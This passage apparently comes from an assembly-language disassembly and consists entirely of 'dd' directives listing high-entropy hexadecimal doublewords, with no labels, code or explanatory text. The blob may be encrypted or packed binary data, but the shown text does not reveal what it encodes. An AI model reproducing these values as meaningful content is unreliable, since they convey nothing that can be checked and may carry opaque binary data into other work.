0F1F1990h, 0CFE03200h, 0DE67C034h dd 96B424AEh, 4DD1262h, 0B527844h, 7451CCh, 3398ED17h dd 0CF1F5BE9h, 3CC067D5h, 1CC8096Eh, 0A661D3A0h, 0C420E730h dd 170F6043h, 0E4C8899Bh, 0FF4FA40Ch, 16F0A897h, 180A7DA5h dd 21F82AC8h, 0B24E66CDh, 0A020E041h, 546E4AD4h, 0EDC33CD8h dd 0FB814D5h, 942729EEh, 5464C4A8h, 71CCFCA1h, 4F60B2F7h dd 2E4C88C1h, 9080E49Ch, 466EB9ABh, 808A0F0Ch, 0B1A0FE96h dd 7C14C4F2h, 580038E6h, 3FA0241Eh, 256631D9h, 2C59ECC2h dd 20196AD1h, 0F63066A4h, 9123E1A7h, 6FD81635h, 51A0818Ah dd 1542D5Bh, 21D03E58h, 0F8493B8Ch, 72D12091h, 0B9F25201h dd 21CD7B32h, 0B4C0D660h, 5C356BB8h, 96587580h, 95360F1h dd 5E99E9C3h, 867FEC52h, 87896C13h, 9D1B4600h, 55821DDh dd 0D5041C17h, 0B3E0FB2Bh, 0C08632Dh, 18707D0h, 0C209850Fh dd 0FA8B6600h, 1347F3FFh, 0BF0CB566h, 4674A4FCh, 872E0015h dd 49B58951h, 5E48C109h, 0AF2D95FFh, 12377D0Eh, 2EA6FC01h dd 0A86F90F6h, 8C1BB839h, 4CC29F0Eh, 69D86173h, 5820609Ah dd 0E25DC89h, 63E5951h, 0A80EA19Dh, 0E1BD8B0Ch, 0B7610C10h dd 0B88050F4h, 93D35825h, 1C17F44h, 0DD286A69h, 7A0D772Fh dd 0CC00C9A9h, 59CBB35Ch, 865EBD9Dh, 1E6BEAh, 5FBBCB65h dd 8D63B53h, 2FCD9D01h, 5B50E3Bh, 9BBFD731h, 96D68009h dd 0B63807Eh, 0E984824Ch, 237DC8D5h, 0EF33802h, 8FA7C380h dd 0C669EC9Ah, 0AFFD0D02h, 414F2D44h, 0B97BF71Fh, 1FB8AC0Fh dd 166DB58Bh, 499BFB48h, 3892CE80h, 0EB4C915Bh, 0BB660062h dd 8D8B6773h, 0C1819235h, 0F61F2A4h, 3F04DF88h, 29259589h dd 80E94E91h, 0DFC60861h, 4958F55Bh, 16C57D86h, 221BE83h dd 0C18B7F75h, 2FE19F4Dh, 0B97A6095h, 0D3371E58h, 0EB6F3200h dd 9081CE76h, 2F112052h, 46A617Bh, 0BF0FE72Bh, 0F5F50B0Ch dd 0C96031EDh, 4055858Dh, 1903BE12h, 907DDC38h, 0E6BE9550h dd 463EB0B4h, 0C8713895h, 0CA66498Ch, 0B7240F48h, 8912B1F6h dd 4EDAB5AAh, 0C0178803h, 1CD89F0Bh, 18654ECEh, 3033F8BDh dd 1AD257D3h, 6FF74C0Fh, 2EAC3FADh, 5CE82903h, 9F0FF98Fh dd 258C8C24h, 0B112085h, 5C08303h, 99BD33h, 53579087h dd 310F5250h, 5F585A1Ch, 10F1A268h, 3DAE4Eh, 0EE194587h dd 0EC2813ADh, 62271700h, 0B5BE6629h, 905E2FE4h, 0B927357Fh dd 3CF38B1Ah, 268FD3B7h, 0FCF7A366h, 0FA425BFAh, 65715640h dd 0BCDE50h, 0C1E53180h, 2AD3211Fh, 0C028F799h, 0DC3EFEBFh dd 782AC600h, 982E301Ah, 0FB8D5BADh, 3947EA40h, 7C413F4Dh dd 18153729h, 389D5068h, 7EED4B99h, 58AC98ADh, 9BC0B505h dd 9BC09D26h, 50FFD41Fh dd 622CC3D3h, 3320823h, 1AD197C0h, 6EFE485Eh, 7EB126CAh dd 2C208D1Ch, 0AF1ADFE9h, 24BD3157h, 0AD7B5C25h, 0B136AC6Dh dd 7C86E1FFh, 9B85C301h, 7EDDC1C5h, 84203C9Dh, 8BFC8801h dd 1D98F5F4h, 0DCBC5EBFh, 7962D702h, 610963ABh, 11404D7h dd 812EC1BCh, 7376C3E3h, 9C08E601h, 0DB0B6A67h, 88AB6A70h dd 8124B529h, 0BD85CA16h, 0A3190D3Bh, 58DF84FCh, 0D5105027h dd 0C1E9160Ah, 0C8558EFFh, 373DC01Ch, 30057222h, 0D3064D36h dd 0F01F004h, 11090412h, 85C70529h, 969E4810h, 4500686Fh dd 1F3FABB5h, 210B8C9Fh, 7F5EE9FCh, 6F40B46Fh, 5169F29h dd 0D517BA77h, 0F09E8071h, 0F352BF0Fh, 5E53525Dh, 0C76BBFh dd 9E79EA2h, 5E23992h, 0BD31C80Ah, 83E1FE81h, 0FD6F244Dh dd 1AC04h, 0F45F4698h, 0FEFF2381h, 0BD29CCE5h, 0A15C52Eh dd 0B7DB8C89h, 316482A9h, 5CE9859Dh, 0FD588E60h, 98EEF716h dd 21798558h, 24F66180h, 1A4004C3h, 0F3DF2140h, 5B1A58E5h dd 39202E90h, 64B59028h, 0C2290DF1h, 900310BBh, 0E35FB0BFh dd 1E504A32h, 87AA4F3h, 0A0BE1B01h, 800F2F04h, 661438FDh dd 32F5075Ah, 20A64512h, 0BF6198F2h, 0B0E6C317h, 85E1DBFBh dd 9D0025ECh, 952189D2h, 70E605B2h, 91C1BD23h, 7F71E4A3h dd 0F3AC23B9h, 8BAB010Ah, 0A407B468h, 0B652D6CFh, 99D3C0D8h dd 49BA810Dh, 0F01336D1h, 0FABB88h, 0F54D3EBh, 8B8A3FB0h dd 0B887D9F9h, 0E8C10929h, 819E0004h, 46794DFh, 0F7664240h dd 0C38EDBE2h, 0D0C8F836h, 592B568Bh, 99BC3CD8h, 0D6105F95h dd 0A573B360h, 505D6171h, 0B861953h, 0B862E81Fh, 0E4237F01h dd 715E85D7h, 4F26A064h, 7E31E950h, 36B8F38h, 9B1D6E87h dd 0BBEDC8ADh, 12D30029h, 6C90CBDCh, 0ECC45A4Dh, 0B6CE241Ch dd 78C01A88h, 166E1006h, 0FF68A150h, 0AC140590h, 5EEE1CF8h dd 76003ABCh, 4F90840Bh, 654EEB54h, 2C8B6C74h, 0B4C01988h dd 0B0E15118h, 35C2A0CFh, 0F2DF821Ch, 0CFE009Ah, 5AEFA424h dd 79718034h, 63E8DDB8h, 77BAD713h, 0A340848Dh, 9AE98531h dd 12B5B026h, 12384ED6h, 0FEBB098Ah, 0CDFD870Bh, 0F13F6011h dd 0DB06DDBCh, 8981F875h, 291241B2h, 258D8286h, 613C0318h dd 2C383F3h, 616D0987h, 8BE68FC0h, 305135BDh, 81C2006Fh dd 57D125EFh, 4D485B43h, 0E584F134h, 0A6A64459h, 4467E25Fh dd 41ED98BCh, 0B6BA5429h, 643AE0BDh, 0FAD01D2h, 0B76065F3h dd 458BD9C0h, 0D0A2EA5Eh, 26CB6124h, 6BFEDEBCh, 5D5F2A72h dd 67AD1EBEh, 8E43ED12h, 58DC47ADh, 21DDD309h, 0E5720E68h dd 17014E0Eh, 80379BFAh, 0A6FA1CADh, 381094B9h, 0ACBCBB59h dd 5760DE05h, 0A7C783E3h, 4181026Bh, 2670A27h, 0D93B61C0h dd 11F42061h, 16C5B533h, 0C1F11242h, 424BD9CEh, 52C01D88h dd 0DA0BDCh, 35DB9D57h, 0C1F6751Fh, 0AC44BDB2h, 0DBD1603h dd 5BA02817h, 0D5786AB3h, 0FCD90786h, 737EE54Ch, 0CEDD2B82h dd 0C51588EBh, 33A315F1h, 0BF95579Dh, 3D61DA80h, 4B084A34h dd 4FF543E4h, 88B487Dh, 60830A8Dh, 0C98B48B2h, 6FAC0931h dd 1044220Dh, 480D91B5h, 0E516D8FBh, 0C0B1830Bh, 14ED7F23h dd 0A0F68101h, 212F1DDEh, 7ED8C9EBh, 0BAC4BBDh, 897FE419h dd 0A4290C6Ch, 828BC524h, 73D46951h, 0D6B07C55h, 959D902h dd 8B2A3D85h, 3ACDFF63h, 0D167DD60h, 5BA2E060h, 52BD3C64h dd 9AEB35D7h, 5B80DF12h, 0BDD0718Dh, 890D3A9Bh, 240B0927h dd 5EBDE346h, 2A73D66Fh, 0DC0BAFEAh, 14FF60B6h, 58A2939Ah dd 0B1EFCFEh, 3A1243BAh, 66F2F107h, 0CA677732h, 0CC765586h dd 1C184676h, 5C8106C6h, 81B52B0Dh, 25313864h, 0BD049DBDh dd 0D7BDAA90h, 2F002EACh, 0EDEFCDFEh, 258BC022h, 0A502F8F2h dd 879D5EF7h, 7D821611h, 0C2EC7E3Ch, 14101496h, 951F9948h dd 9DFAA0B9h, 40023159h, 10407DF3h, 0BE660A61h, 5C42DDC4h dd 0CD011946h, 0CF1AB17Ch, 45F97F6Ch, 55AF7400h, 60D22968h dd 0AC2D3B00h, 0A88A3DC3h, 30C2E6CFh, 9DA25849h, 0ADB62F21h dd 7DB0C781h, 0B87A5F61h, 0FF0E9304h, 0BE013015h, 3F8F13E4h dd 16D9EC0Bh, 603456BFh, 660983BFh, 52940A03h, 37F0B70Fh dd 0E454F25Ah, 91F6580Ch, 628EF428h, 61601502h, 2E37E6Dh dd 0FFF7A9E9h, 0E14A6DC6h, 88CBC83Ah, 3B0901EAh, 0B5D7C12Fh dd 0F8C982DFh, 0E6D9D2E5h, 31D35AB5h, 810E1051h, 0D15E2C12h dd 8C543EDEh, 81E72800h, 309F0CCFh, 0F9351E5Bh, 1B23C33Ah dd 3C799D00h, 4C5035Ah, 8589AE7Fh, 0EF6395B1h, 901371B4h dd 2C0B009Ch, 56906CD6h, 9E3DB560h, 1B50AF61h, 0BE87B879h dd 40F8047Eh, 0E2B5BDB2h, 31F9004Bh, 0EE825E1Ch, 29470060h dd 5BE66AE7h, 905E6137h, 0F66BAFh, 0B72A3F10h, 536AB86h dd 0F886966h, 4823158Ah, 101D6A2Dh, 0A7811511h, 22E9534Bh dd 0FF9B0066h, 7D4C7475h, 0FCB10386h, 5F5A5EE4h, 80606000h dd 81668AD1h, 36DF14C1h, 4602D361h, 0F5064C1Ah, 0BE0235F0h dd 898B87Bh, 4954190h, 7026BF08h, 0F19F579Ch, 34C37E5h dd 0F7C78002h, 33C57FA0h, 34E00C4Ch, 0C6C24EF9h, 7178FF15h dd 0FAD041B3h, 0C59D1289h, 4DB8A42Eh, 21DD55D6h, 71B06636h dd 0B01F134h, 9E91C419h, 4D21F98Bh, 90013F1h, 145E7595h dd 0E1311E73h, 93A8276Dh, 0C09FD63Eh, 44DE8105h, 275295Eh dd 0F070A3FBh, 4F843B8h, 7C1A2C4Fh, 338282D4h, 1204B2E1h dd 0D865200Eh, 5200FFC2h, 54C84DB8h, 12A170A2h, 0B261E188h dd 97EE0038h, 0CBCEE0F6h, 2F227D6Ah, 2C1607FFh, 2F1A5021h dd 80519F5Dh, 0CAC265BBh, 510B1F9Eh, 0C7F85FFCh, 2345B935h dd 0E39701F8h, 0CF53730Bh, 0B2792760h, 0DBF4BDDBh, 89691DD6h dd 6F91402Eh, 0FEDA4090h, 306A14BCh, 2D07B508h, 5D7C14A4h dd 1714818Eh, 993FCCBBh, 2EAA1700h, 72AEFD32h, 25AF1604h dd 5F5BC65h, 1821BD83h, 102228E2h, 2DC70EA0h, 59E90D16h dd 0A11EF31h, 1D405929h, 157CBF01h, 0AC175CF4h, 798D8904h dd 0A99D8813h, 1AE9BFA8h, 0FA8A70A1h, 0FD21022Bh, 5445B202h dd 1C9E611Dh, 7AC94D8Dh, 970FACE9h, 0A5C1C7A6h, 0D9F6A4CDh dd 6618F85Dh, 3CA96B02h, 6AECBCEAh, 0B2BAD193h, 8C200ADCh dd 0D0CC07h, 4AF0E38Eh, 0F88B3416h, 0C8B65F71h, 0E4F1102Fh dd 916116F2h, 879CC8B1h, 0F6D1BCh, 0C6C929E1h, 52BE93EDh dd 4EADA140h, 0E4037709h, 0F2C6855Fh, 0DB190075h, 4D085671h dd 0D8820298h, 0EECB6229h, 2E25F9C3h, 0D1F24652h, 4D386608h dd 0F535090Ch, 8912611Ch, 0A6B62404h, 4C296AE0h, 6EC4E001h dd 0E97C1BFCh, 612703C5h, 0AC177B07h, 0A60400Dh, 651E1E4Eh dd 46845A37h, 15F6B0FBh, 3E936DF0h, 70E60312h, 2E10391Eh dd 4267C50h, 0E41AEA12h, 22B9AA71h, 0A31777ACh, 4E07FB92h dd 5A53BF3h, 0AA661DA1h, 0AF8C0DF0h, 3626BD5Ah, 4B294EB4h dd 702C356h, 0E20919E9h, 713C7B1Dh, 12FD7EF1h, 15306702h dd 46791BEAh, 5E5A8CA8h, 53DB4612h, 895C3B80h, 4DB21995h dd 0CDD82B25h, 0AA99C467h, 0CDD26DFCh, 0C9626CF2h, 0FBE80493h dd 8DBA8680h, 6B071F15h, 74782C61h, 0B3051746h, 81E13C8Eh dd 2053D72h, 0AF3173F8h, 0BC0084B5h, 0A336AEF9h, 985C2403h dd 66108ECh, 57316849h, 0B05F2DF9h, 6A817037h, 93D43DBDh dd 90F08370h, 6CDEBD83h, 128813D6h, 3191B033h, 9D440845h dd 1923282Eh, 9A350C00h dd 90215CBAh, 6B12D72h, 1D8E798h, 1186F282h, 0D82AD59Dh dd 9122998Ch, 5BFE208Eh, 51A821F3h, 0B123031Bh, 0AE6C0521h dd 0C1440493h, 294B990Bh, 7492A822h, 17D1E68Bh, 0BE6BA1E5h dd 0EEF29390h, 25091C90h, 0B655801Fh, 0BEB907AFh, 0EDF73816h dd 146D6D04h, 0B4585E05h, 3D975D8Bh, 0C6288272h, 8BD96D1Eh dd 0C2D78100h, 26704C4Bh, 0F4A3C183h, 430FC3Ah, 0F9BD29F3h dd 8B69BCB1h, 9E010317h, 8CD885BCh, 4EE643C1h, 153152F4h dd 8D0CCDBDh, 97AC105Ah, 5A1C6510h, 55A28D22h, 0F4CBD6h dd 0D08DA858h, 70EBC1B9h, 97A8F059h, 498778DBh, 9DED5279h dd 7FB5F1E1h, 5B261EECh, 659860B6h, 3F017781h, 3C24A44Bh dd 5C209F57h, 0C32B275Eh, 0B5F25D40h, 0D1CF9BB6h, 49E92A62h dd 0F4597455h, 0CAE3C800h, 0EFD8E835h, 0C056CB8Eh, 2CC2FE6Dh dd 0D9CF414Eh, 9AA5D055h, 0B4C0615Bh, 9359E40h, 0E2CD8D27h dd 0C9D68269h, 95035214h, 4F13B4A0h, 604F362Eh, 827DBC3h dd 329952Fh, 74D8611Ah, 0AA08DCD0h, 0B95CCBAh, 4C53122Dh dd 9B3B6266h, 734D78FAh, 64AD6D25h, 0FB1000Bh, 22CB86D7h dd 2C009C3Eh, 93DA7FD1h, 24FF05FDh, 2D2EBD33h, 5F95A016h dd 81BE8B1Fh, 0E3E4EF8Eh, 6E664F86h, 0F828A848h, 369145EFh dd 758D404Eh, 0D3419089h, 57F604ADh, 3DC725Eh, 0EAA99109h dd 0E9F19F27h, 0E243100Fh, 6EF5583Ch, 57AC8100h, 6A39CA8Fh dd 664E5827h, 0F7B0CB4Ah, 0CD59182h, 0FE6C61AFh, 0AED34D28h dd 0D2F34DA6h, 0EBDE410h, 9509FC02h, 86912F69h, 5DAD3859h dd 2707B825h, 0A0814BC5h, 711FE5DFh, 0F2FB36C0h, 0A3777671h dd 0D1778C5h, 0F83CC476h, 9EF92871h, 0EA887D45h, 81042B39h dd 79C0D0EEh, 0B524E942h, 5B554809h, 378758DEh, 213A3A9h dd 7368FB60h, 858079FBh, 0A8259935h, 52EA8EB9h, 8D210C80h dd 62116B91h, 0F3F6AB7h, 0FF958BA1h, 0C952C960h, 8FCD032Bh dd 7E97A6C1h, 18B86C8h, 5A51B7C5h, 0D57F6ABEh, 59A0EA46h dd 0A9A5CBBAh, 0E12583EEh, 0A4E65701h, 14518D10h, 0CB4A8B2Ah dd 6964F0F8h, 8805C670h, 6F4BA896h, 0CF2B2449h, 0E9A86355h dd 0EC70B7E0h, 745CFF01h, 0D399D23h, 6061F900h, 0D6AD7EBFh dd 93C26414h, 0F702D2E4h, 13E59Dh, 4DB8161h, 36FF714h dd 12512C6h, 713870F6h, 5F3C6C80h, 1A6DCE6Ah, 3EF1339h dd 0BB694B92h, 0B53812D5h, 0A5A6BE12h, 9F6235F0h, 0BD0974C2h dd 54467861h, 0ABE488Bh, 4C51EDC8h, 3F2164BAh, 0E8011923h dd 14F799AAh, 61147131h, 0F301276Bh, 8E018C7Fh, 2515482h dd 94C88022h, 0F2AEE38Eh, 0BAD2C8F4h, 0EDB0ABB6h, 1D2E9DF9h dd 1090F8C8h, 4065C440h, 0ED3F829h, 881EB95h, 8B001A75h dd 0E952D9Dh, 519D595h, 0FABBBE66h, 5D225F49h, 0A500DE53h dd 0CD9FE6F6h, 70530006h, 74930328h, 1A001B32h, 66604771h dd 98AE85B9h, 34D802C5h, 8B5F61F4h, 690F47A7h, 9529BC10h dd 3D136545h, 0BB1F4A24h, 28C0F19Ah, 2991B501h, 0BD44D389h dd 0B0806EE8h, 23705426h, 2AE28690h, 9D605E80h, 0A857C004h dd 5FAF62D1h, 91D8B561h, 29EC8014h, 0A433498Dh, 64A295D4h dd 0C571810Fh, 249A8810h, 0FABED5C4h, 0C17C00DCh, 9FB2FA50h dd 6D8809E8h, 27701D18h, 467F4025h, 5F526084h, 0CE527498h dd 0CC9E6BD5h, 582101E5h, 55413ACFh, 0C1A032AAh, 0C899D2Bh dd 615E0709h, 5C013185h, 979B34F0h, 2E02F0h, 6ACA961Ah dd 66ECB80Bh, 0CB19BF15h, 94011F58h, 0C4CEE302h, 7CA0624Ch dd 3809DCFDh, 79DDBD33h, 0E9612E41h, 5FC0C9CDh, 9E94FDBh dd 3F9A28E1h, 16D16A59h, 0BF247918h, 0D207B6EBh, 7606223h dd 91E99D61h, 0B3ED2D25h, 0D29FC5C0h, 73312646h, 0DB02DE89h dd 0C44E90DDh, 3D67C1CCh, 0C18B01CEh, 0D5C8CD60h, 25BABCC0h dd 0EDE75546h, 3F0438C2h, 5C043808h, 0BD236009h, 8D77289h dd 1AA9950Bh, 5E91A31h, 0E88A6103h, 0D1008744h, 0B3A39FAh dd 5AF98B68h, 85FD9B5Eh, 6CEC31A7h, 0FC5B837Ch, 542045CDh dd 0E80A400Dh, 7D9508E6h, 459335B7h, 0C5E524C3h, 0C398B04h dd 95B52901h, 1665902Bh, 7D66BD6h, 97D194B4h, 382B7E51h dd 521D6896h, 0E0C9B646h, 0FCE01170h, 2EF002E1h, 0C4E81032h dd 7BFFCD4Ah, 0C90C581Bh, 20B3830Bh, 48CDC2Bh, 0AFBD8B4Ch dd 1D8CE8ACh, 0F905530Dh, 78BE85Fh, 0F07AE6FBh, 32FCE0D4h dd 0D95C54B1h, 0B79DC570h, 90B0087h, 0F8B33BDEh, 0D8F65F07h dd 0A18CE83Dh, 218D1403h, 417E6428h, 59C3300Dh, 310B1B40h dd 0E8E1F1BDh, 0F63BA41Eh, 2611A4C9h, 0EDE5ECAAh, 9157088h dd 0B5516001h, 2BF45F8Fh, 1C392095h, 34A35A48h, 0D9FD6BE4h dd 8006AEB8h, 0AD67D933h, 66215874h, 94800988h, 0AA706551h dd 61EF0E31h, 75D8E864h, 0F262B70Fh, 731BD538h, 0A95ED248h dd 0B122D1A8h, 0DB77692Ah, 0C6C090EDh, 9BAF195h, 840FE6C1h dd 0CA985579h, 8306FDB4h, 8D49BDB1h, 773CE80Dh, 26206E6Bh dd 0F1050C57h, 24CCE7A5h, 19CFCDBh, 0BC9634E0h, 8659C918h dd 93CDD728h, 2FB52F8Ch, 281FF13Dh, 7405F080h, 1E655B5Ch dd 2DD8E8FCh, 0BF00143Dh, 3AE46B9h, 0A4D24B5h, 0C994282h dd 2249D27h, 6DA2E806h, 2B272DB0h, 30040C73h, 25619E25h dd 1000B0B7h, 118BD202h, 99E65089h, 9AFE0DE1h, 29DF69E8h dd 0FAF3B809h, 0FB8F028Eh, 0CF1B589h, 1B717082h, 0F4B65Ch dd 0BDA9CA9Fh, 202785BAh, 3B61F24h, 17B06A67h, 17C4C506h dd 0B0F167BDh, 0E8305E1Ch, 8D89D101h, 0B548A8CDh, 5F6F9517h dd 22E1A340h, 0EC07026Ch, 290A8844h, 940EA5Eh, 0A801ADBDh dd 8204C0E2h, 31D2D463h, 28407B66h, 0AAF12E80h, 34002445h dd 0AEA9AF2Dh, 35021DACh, 318D01A1h, 4D34822Fh, 0BC885218h dd 4310A5FAh, 0EF12B22Ah, 0A2BE1D58h, 37B10458h, 0F9ABB05Eh dd 453B8BCh, 4069EE1Dh, 80C0BCFDh, 73B2C684h, 0C5F64AE8h dd 76FB0h, 95C45D7Eh, 415A1A7h, 0FBA5261h, 547E980h, 0C9852960h dd 0F4612B92h, 0A24DA7BCh, 0F84C8E0h, 8B02448Dh, 69F9F272h dd 0E6F1B8ECh, 6C332CA5h, 1BA03BE8h, 0F3816001h, 1182D789h dd 4AF0E6F6h, 0BD869061h, 0B2B70D15h, 0D44F742Eh, 6D8F1000h dd 0B0C9DB11h, 0D82B0E29h, 0C28B523h, 4B60500Eh, 0F058252h dd 40885431h, 0B08BF315h, 0D5ABFB00h, 6FDC562Dh, 47640475h dd 0BD5B663Dh, 9D1C2234h, 9B004E35h, 6DE0AB88h, 0AEE40B4Ch dd 0EAE6F97Bh, 0F5055590h, 5B47ED23h, 0E10FE86Fh, 84D00F96h dd 0BAE034B1h, 2BBCA28Dh, 60B784h, 6BF5804Eh, 5809B966h dd 531A89DFh, 0C59B70D7h, 0CF9D8726h, 87EE700h, 0BC044289h dd 0A201DC07h, 3FA352A0h, 206A6E47h, 76D0E4BFh, 23395500h dd 40DD8B7Eh, 42170161h, 0ED86A146h, 0FC812B53h, 5901270Dh dd 199452F5h, 5ED09953h, 0E1A495DEh, 4F95100Dh, 9580179Bh dd 82F18DDBh, 6B867709h, 42962989h, 539B298Ah, 2E9A706Ch dd 1745ECC4h, 85096000h, 2B9E1B11h, 4313988h, 0B38F0F61h dd 40452889h, 75E81A62h, 0E848A429h, 82D012F5h, 87450BBDh dd 9C0EFA1Dh, 97595559h, 1357C97Ch, 0C0B9DAFAh, 59268F03h dd 0A2EA06E2h, 92CBB70Fh, 4F2859Fh, 0ADE24956h, 0C9609000h dd 0F318F69Fh, 3BB39C2Eh, 0AEC08200h, 7EB7341Fh, 9E6B6560h dd 5A8D5971h, 0CF5620CAh, 64643235h, 26E722E6h, 0BE069375h dd 5E5F9A3Bh dd 11E9256Ah, 0E1036D5Fh, 2E4C8E83h, 81C125AAh, 11C45B5h dd 0EE5BD2Bh, 433DD858h, 3F824B0Fh, 618E0C30h, 4124A794h dd 505C24DEh, 0B17512AAh, 3774A500h, 924200B5h, 38D464E4h dd 93F3BD1Dh, 1ACAC1A7h, 9A5B7F27h, 128C8072h, 9845CB6Fh dd 6610FF97h, 3850C0BFh, 13406983h, 0D9FDA052h, 56AD665Ah dd 0C718101Ah, 0F8360FAh, 3AB98Ch, 3F643B9h, 1E6E930h dd 59B77F95h, 890F4A87h, 60E9152Ch, 3FF40B0Ah, 7C019CAEh dd 3A125976h, 9B2B6AB6h, 0B2F5C14Fh, 31F0AC40h, 6A7F0EA1h dd 0CC529589h, 18BF602Dh, 95F78BCAh, 82C78F75h, 570D627Dh dd 2DECB5Eh, 13D9374Ah, 0A292850Fh, 44D1B001h, 2B5482E0h dd 560E918Dh, 12E98BEFh, 4A01E553h, 2CDB2E45h, 14D5CECh dd 7A38CB44h, 48E8C21Bh, 6600AAABh, 4E6DBAD5h, 0E20DD6BFh dd 0A04801B2h, 62F0ABB8h, 205EFD8Ch, 2290F9F7h, 0D57110BBh dd 4EF2FD0h, 8D8B79FFh, 8A4CA015h, 0BCA9C549h, 0CE0E4C9Fh dd 0C0C41939h, 0B0F18016h, 0FB97E99Eh, 38894CDAh, 7615D155h dd 9B001A46h, 33E8C68Ah, 889D1F21h, 10AA095h, 0C62D7B16h dd 0E0B7BFABh, 0B02ACE01h, 64D0BA40h, 1DF990C2h, 250659Bh dd 5F01AC46h, 5E4926D4h, 3B12CDC6h, 0DF02D36Eh, 0E80D1525h dd 5F005A44h, 6EB5C6E1h, 6510E3h, 0F514F289h, 8A0FDECCh dd 0BB018691h, 467F48BAh, 0DA28217Ch, 33121282h, 0CD76E04Ch dd 0C9F0741h, 9AF12509h, 0FEB72Dh, 38BFD0E3h, 82EC80FEh dd 0BD290105h, 33043371h, 10121385h, 6E4A95F4h, 0A930075h dd 1191C19Fh, 0B0033997h, 89F9F924h, 607E4D9Dh, 0E0366DA7h dd 0F557E294h, 0F2DDCB2h, 5F7FE663h, 0E3652060h, 0D70B3CA4h dd 0FF0D02ADh, 97B3A648h, 9E666500h, 537C643h, 0BBA21D61h dd 6D8D1C94h, 8A026EEAh, 0FF021CB9h, 0D92161D1h, 0E372BF2Ah dd 895727ABh, 80A96C08h, 0F026A5Bh, 905ADABFh, 20EA7BD4h dd 0B1E3C19h, 0A63E6C00h, 0C003E7C8h, 421ECD9h, 4731F214h dd 8422BFE0h, 0DCB27490h, 38542E01h, 1B81213Dh, 0D1B8C145h dd 9519587h, 0FEF4CC7Ch, 7B11B753h, 6C2C804Ah, 7292B881h dd 3E74C0h, 0AA913888h, 7CB41D8h, 0BB665B04h, 4DF83C4Ah dd 0AADE9680h, 0BD02443Fh, 0FA0F3EE7h, 7A174D7h, 9B6FE95Fh dd 1C64CC79h, 209D9788h, 89082FFDh, 2828C9B5h, 93DA11A9h dd 27C1104Bh, 50FA8A02h, 8F71860Fh, 7A52FE12h, 6281559Bh dd 0C41C4FE8h, 0A498255Bh, 92C0120h, 0D318D29h, 0A5675B57h dd 4D71DB7Bh, 0E0ECC8h, 89441BA4h, 0F860BFF3h, 15DDE0C4h dd 50556109h, 516F95F9h, 59DA5D69h, 202FA690h, 0C4E34606h dd 0F01FD70h, 0AA6FB66Ah, 435AFC01h, 4030C622h, 0B5FFDEF8h dd 0F8AA0BEh, 8A42D180h, 0A8765DD8h, 6A68E942h, 0CF6740E1h dd 5104BDB0h, 0CE84412h, 0A2EEB443h, 0E8ED5E0h, 16764300h dd 0E65F5C88h, 2E649D70h, 0E1C6D500h, 0F8FE606Fh, 378401C0h dd 7973563h, 759F7091h, 165B2340h, 0F26071E4h, 83A93DD7h dd 90C27BF7h, 0F548881Dh, 0B5952431h, 2597ACB6h, 61D0C97Fh dd 62365F6Bh, 0AEE7801Eh, 80C8B649h, 74A80E6Bh, 68E95463h dd 0FA7E0EB0h, 1E008CD0h, 4E49E0A7h, 0F130E302h, 0D67CDDCFh dd 25BD6150h, 85C11213h, 9D53C5D7h, 33785630h, 62E700B1h dd 50AC2C69h, 9813037Fh, 7604D268h, 0E4F15BDAh, 1F594410h dd 5FAC00C9h, 7C6E445Ah, 1E27EF28h, 9CC54454h, 0B5442FF5h dd 2518F795h, 0E6C02BF9h, 0EEA012F7h, 0D18B0763h, 1B0CB6BBh dd 0E6A87ED9h, 0C7174132h, 0F8737A85h, 1FA0959Dh, 9F6BF381h dd 8F4ABE2Ch, 2AF2071Fh, 0E098C404h, 0B59D3131h, 43D03B13h dd 108411BDh, 2C05108Dh, 0B3EE915h, 97DEF12Ah, 8056C018h dd 5B34DB12h, 4584C9E4h, 99432024h, 0A57994E1h, 0B2FE2D1Ah dd 0D771E4h, 0FAD2EF81h, 10970999h, 26B58D3Bh, 55BCD7Bh dd 95219D33h, 0E8A8F928h, 0B029FC61h, 25CB96BEh, 185A255Bh dd 4ACFD929h, 74C8BB56h, 49951009h, 0B95B0F2Ah, 0A6EBB2DAh dd 0EEAAF029h, 4B5001F8h, 2D6C7037h, 7E3749C7h, 12167E08h dd 0C5770460h, 5DF61003h, 0D361282Dh, 0DC9BFC5Fh, 0D8D3F80h dd 82141A32h, 10A157B3h, 0FC052001h, 4E058509h, 3412B8A8h dd 284DFD02h, 3AD30BBAh, 33D051F5h, 8ED161C2h, 0F0E983D0h dd 3795F475h, 0C0550296h, 26561BFBh, 5F602547h, 0C21271h dd 230DE401h, 9B6C16F2h, 31483207h, 3FB875BDh, 819B904Eh dd 0E724AFC3h, 0BD09C779h, 13397A65h, 0AD140595h, 0BC8E82Fh dd 7CE203A9h, 0C0FF8585h, 0E5CECBDBh, 0DA52099Fh, 50DE3C58h dd 188DC2BDh, 0EF08C103h, 199559A5h, 0FF6E2A58h, 40ADE26h dd 0C12AEFF4h, 228952Ah, 4044F6E9h, 0F8F7DDC0h, 4FC51300h dd 81F24CB3h, 14660BEBh, 0FB826CFBh, 0F00B12FDh, 3D8E6965h dd 0F7C18B4Dh, 63F0A943h, 0BD86A010h, 271B4921h, 0E090F6D2h dd 5D08C80h, 1419FBCEh, 754481EAh, 898D0308h, 0C824E80h dd 0D81BD03h, 5BE1FF02h, 5E5D7281h, 8CBF0A42h, 1670393h dd 0CD40A99Dh, 2A43D99Bh, 2E057710h, 0C720EE56h, 160E512Bh dd 7C220110h, 1799BF05h, 12224AC2h, 34096003h, 48BDB705h dd 4FC60B00h, 12BDF6AAh, 0EEEC51h, 9548D350h, 9BDF960h dd 40455603h, 85B434AEh, 0FF587100h, 30ECF368h, 0E1801560h dd 0CAAC4204h, 52DE4E1Fh, 16AB26C4h, 0FE8B3A80h, 31B52529h dd 0C90A8440h, 75DD89A1h, 69B3A18h, 8221CC80h, 1F0869C7h dd 0BD0AE819h, 10568980h, 151AB71Eh, 0FA850C2Eh, 5F164B26h dd 1159BD05h, 4F7E3AB5h, 1989330Ah, 66B7892Bh, 0A43C2301h dd 82F8C287h, 0B93125ECh, 2982E6F1h, 51BE585h, 4DFB8151h dd 505B011Ah, 0DB5C9B38h, 876CDB4Ah, 71F007F4h, 0D466DF80h dd 5C58C444h, 0D7ECC451h, 42E85B8Dh, 1F03FF22h, 0F98B4060h dd 299C5F74h, 927C5840h, 0F742006Eh, 0F8078817h, 0C5351083h dd 878C7B8Bh, 0FA76008Fh, 140ED998h, 0C69F8BE1h, 4D220014h dd 0B2D835BAh, 9024A25h, 71ECC27Fh, 0A273645Bh, 26DD105h dd 586056BBh, 3B7014DBh, 5CD9023h, 9DC425ACh, 0C4EEADFAh dd 97DC07F9h, 